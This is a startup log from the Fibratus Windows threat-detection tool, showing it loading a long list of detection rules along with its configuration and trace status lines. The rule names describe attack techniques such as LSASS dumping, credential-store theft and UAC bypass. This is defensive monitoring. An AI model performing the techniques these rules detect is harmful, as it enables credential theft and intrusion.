C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-09T18:22:46+01:00 level=info msg=bootstrapping with pid 3268. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-09T18:22:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false content-type=>text/html port=>25 use-template=>true to=>[]] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-vamap=>true enable-handle=>false min-buffers=>16 max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true flush-interval=>1s enable-net=>true stack-enrichment=>true enable-dns=>false buffer-size=>512 enable-registry=>true enable-mem=>false enable-thread=>true enable-threadpool=>false enable-fileio=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 formatter=>text max-age=>0 level=>info max-size=>100] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ level=>info enabled=>false] amqp=>[ routing-key=>fibratus durable=>false passive=>false vhost=>/ exchange=>fibratus timeout=>5s delivery-mode=>transient url=>amqp://localhost:5672 enabled=>false exchange-type=>topic tls-insecure-skip-verify=>false] http=>[ endpoints=>[] method=>POST timeout=>5s tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false serializer=>json] elasticsearch=>[ index-name=>fibratus healthcheck-interval=>10s enabled=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus timeout=>5s healthcheck-timeout=>5s gzip-compression=>false trace-log=>false flush-period=>1s bulk-workers=>1 healthcheck=>true sniff=>false]] + pe ............................. [ enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] excluded-files=>[] scan-timeout=>10s skip-files=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true enabled=>false skip-mmaps=>false skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-09T18:22:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:272 +time=2025-12-09T18:22:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:272 +time=2025-12-09T18:23:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-09T18:23:30+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:288 +time=2025-12-09T18:23:30+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:288 +time=2025-12-09T18:25:09+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml 